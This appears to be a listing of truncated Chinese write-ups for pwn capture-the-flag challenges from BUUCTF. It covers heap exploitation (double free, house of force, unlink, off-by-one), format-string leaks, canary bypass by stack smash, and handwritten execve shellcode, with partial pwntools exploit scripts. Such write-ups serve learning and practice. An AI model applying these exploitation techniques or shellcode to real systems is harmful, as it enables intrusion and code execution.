ciscn_2019_final_2
ciscn_2019_final_2检查防护措施
保护全开并且开了沙箱
基本只能读出flag拿不到shell了
IDA静态分析
在初始化的地方有一个dup2函数把flag的文件描述符改成了666
1234我们知道在Linux系统中一切皆可以看成是文件,文件又可分为:普通文件、目录文件、链接文件和设备文件。在操作这些所谓的文件的时候,我们每操作一次就找一次名字,这会耗费大量的时间和效率。所以Linux中规定每一个文件对应一个索引,这样要操作文件的时候,我们直接找到索引就可以对其进行操作了。文件描述符(file descriptor)就是内核为了高效管理这些已经被打开的文件所创建的索引,其是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符来实现。同时还规定系统刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。这意味着如果此时去打开一个新的文件,它的文件描述符会是3,再打开一个文件文件描述符就是4......
在退出函数中让我们输入并且把输入的打印出来,那么如果我们把标准输入stdin的文件描述符改为666,它就会读取flag的值 ...
ciscn_2019_en_3
ciscn_2019_en_3例行检查
可以看到常见的四个保护开启了,并且还开启了FORTIFY,简单来说这个保护机制提供了轻量级的缓冲区溢出攻击和格式化字符串攻击检查
可以看到用的是_printf_chk函数,会对格式化字符串攻击进行检查
看到我们尝试进行格式化字符串攻击时被拦截
但是下面有个puts可以泄露地址在s输入8个字节占满空间这样补不了\x00puts就会连带s内容后面的地址也给打印出来
我们动调查看一下栈上地址
n单步调试到输入ID
看到&s的下一个地址是setbuffer+231,
那么接下来就是double_free去劫持__free_hook就可以了
exp:12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849from pwn import *context(os='linux', arch='amd64', log_level='debug')context.ter ...
gyctf_2020_force
gyctf_2020_force防护措施
本地调试
只有add和put功能且put只是个空壳
刚看到这也是很疑惑,如何泄露libc,后来查看了其他师傅的WP了解到
首先申请一个很大的chunk,系统会用mmap分配,mmap分配的这块区域在libc下方,偏移是固定的,所以可以算出libc
0x7f85e67e0000 - 0x7f85e65df010 = 0x200ff0
libc_address = add(0x200000, ‘aaaa’) + 0x200ff0
后面就是正常去走house of force 去劫持malloc_hook配合realloc调整栈帧,这里不详细解释直接贴exp了
exp:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162from pwn import *context(os='linux', arch='amd64', log_lev ...
axb_2019_heap
axb_2019_heap检查保护措施
本地调试
堆菜单布局
IDA静态分析
上来就怼了个格式化字符串漏洞用来泄露libc,因为这题没有show,虽然有show选项但是是个空壳
只会打印’None’
这两处地址是我们要泄露的,一个是main+28,一个是libc_start_main+240的libc_base,加上前面有6个寄存器,rdi, rsi, rdx, rcx, r8, r9,main+28的相对偏移是11,libc_start_mian+240的相对偏移是15,利用格式化字符串漏洞,name传入%11$p%15$p就可以泄露这两个值。再看一下各个功能函数
add():
我们创建的chunk要大于0x80也就是非fastbin,且malloc地址和chunk的size大小被存储在数组note[]中,自然而然想到了unlink攻击
free():删除功能没有什么特别的,指针也置0了,不存在UAF
edit():
漏洞点:off-by-one,edit的时候允许多一字节,这一个字节可以覆盖掉下一个chunk的size,来伪造前面的要合并的chunk为空闲状态
先泄露libc:
...
gyctf_2020_some_thing_exceting
gyctf_2020_some_thing_exceting查看防护措施
本地调试这里要在本地根目录创建一个flag
堆菜单的布局
我们创建了两个chunk程序,程序给我们创建了一个chunk用来存储这两个chunk的地址,fd存储第一个chunk地址,bk存储第二个chunk地址
IDA静态分析create():
free():
漏洞点存在UAF
show():
另外注意flag上来被存储在了s里,地址为0x6020A8
flag_addr-0x10的位置可以被当成一个size为0x60的chunk被挂进fastbin再被申请出来
大致思路利用double free将flag_addr-0x10挂进fastbin再申请回来打印就把flag打印出来了,比较简单直接放出exp了,不过当时刚开始double free出了点问题
exp:12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152from pwn import*context(os= ...
wdb2018_guess
wdb2018_guess这道题记录一下绕过canary的一种方法:stack smash
关于canary的一些绕过姿势可参考 http://www.hackdig.com/12/hack-568509.htm
Pwn-多方式绕过Canary | 偏有宸机 (gitee.io)
程序开了canary保护后,如果我们的输入覆盖了 canary ,程序就会报错
程序会执行 __stack_chk_fail 函数来打印 __libc_argv[0] 指针所指向的字符串(默认存储的是程序的名称)
那么想一下如果我们把libc_argv[0]指向的字符串覆盖成我们想要泄露的地址,就能泄露相关内容
1234567891011void __attribute__ ((noreturn)) __stack_chk_fail (void){ __fortify_fail ("stack smashing detected");}void __attribute__ ((noreturn)) internal_function __fortify_fail ( ...
ciscn_2019_es_1
ciscn_2019_es_1检查防护措施
保护拉满,基本是堆题没得跑
本地调试
堆的菜单界面我们add了两个chunk,gdb看一下情况
程序多创建了2个chunk且chunk的fd指针存放的我们的创建的chunk的data地址,bk的位置看到了我们输入的电话号的内容
IDA静态分析add():
show():
free():
这里没有清空指针,存在UAF
大致思路创建一个0x410的chunk来释放进入unstoredbin 泄露libc,再利用doublefree 去修改free_hook
泄露libc:
1234567add(0x410,'aaaa','0') add(0x20,'bbbb','1')add(0x20,'/bin/sh','2')free(0)show(0)libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.s ...
x_ctf_b0verfl0w
x_ctf_b0verfl0w这里记录汇编代码写shellcode+jump esp指令劫持esp的情况
可以溢出的字节放不下pwntools生成的shellcode时,需要我们自己写shellcode缩短长度
32位:
1234567891011121314shellcode ='''xor eax,eax #eax置0xor edx,edx #edx置0push edx #将0入栈,标记了”/bin/sh”的结尾push 0x68732f2f #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/shpush 0x6e69622f #传递“/bin”mov ebx,esp #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebxxor ecx,ecxmov al,0xB #eax置为execve函数的中断号int 0x80 #调用软中断'' ...
mrctf2020_shellcode_revenge
mrctf2020_shellcode_revenge这题记录一下使用工具ALPHA3生成可打印的shellcode
下载alpha3:1git clone https://github.com/TaQini/alpha3.git
写一个生成普通shellcode的脚本:123456from pwn import *context.arch="amd64"f = open('sc.bin','wb')f.write(asm(shellcraft.sh()))f.close()
执行后,用alpha3.py生成可见字符shellcode1234567from pwn import *p = process("./mrctf2020_shellcode_revenge")payload = "your_shellcode"p.sendafter('magic!',payload)p.interactive()
exp:12345678from pwn import ...
picoctf_2018_can_you_gets_me
picoctf_2018_can_you_gets_me这题的puts函数是出题人自己写的,所以无法找到puts的got表,可以利用ROPgadget寻找ropchain
1ROPgadget --binary picoctf_2018_can_you_gets_me --ropchain
exp:12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import*context(os='linux', arch='i386', log_level='debug')from struct import pack#io = process('./PicoCTF_2018_can-you-gets-me')io= remote("node4.buuoj.cn",29305)#elf =ELF('./PicoCTF_2018_can-you-gets- ...

